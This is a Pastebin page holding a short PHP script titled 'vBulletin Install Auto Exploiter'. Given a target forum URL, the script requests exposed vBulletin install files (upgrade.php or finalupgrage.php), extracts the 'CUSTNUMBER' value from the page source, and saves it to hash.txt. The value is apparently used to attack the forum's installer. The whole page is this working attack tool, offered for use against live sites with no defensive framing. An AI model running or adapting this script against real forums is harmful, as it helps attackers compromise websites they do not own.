Advertisement
Googleinurl

title vBulletin Install Auto Exploiter

Oct 10th, 2013
426
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.93 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3.  
  4.  
  5. if($argc < 2) {
  6.     echo "Usage: {$argv[0]} http://site.ru/forum" . PHP_EOL;
  7.     exit;
  8. }
  9.  
  10.  
  11. $URL = $argv[1];
  12. $arr = parse_url($URL);
  13.  
  14.  
  15. ### work with url
  16. if(strpos($URL, '?')) die("Ohh, your URL is not valid");
  17. if(substr($URL, -1, 1) != '/') $URL = $URL . '/';
  18. if(!$arr['scheme']) $URL = 'http://' . $URL;
  19.  
  20.  
  21. $headers = get_headers($URL . '/install/upgrade.php');
  22. if(substr($headers[0], 9, 3) == '200') {
  23.     $source = file_get_contents($URL . "/install/upgrade.php");
  24. }
  25. elseif($headers = get_headers($URL . '/install/finalupgrage.php')) {
  26.     if(substr($headers[0], 9, 3) == '200') $source = file_get_contents($URL . "/install/finalupgrage.php");
  27. }
  28. else die("something went wrong...");
  29.  
  30.  
  31. preg_match_all('|var CUSTNUMBER = "(.*?)";|', $source, $res);
  32. foreach ($res[1] as $hash) {
  33.     echo "Hash: " . $hash . PHP_EOL;
  34.     $fp = fopen("hash.txt", "a+");
  35.     fwrite($fp, $hash . PHP_EOL);
  36. }
  37. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement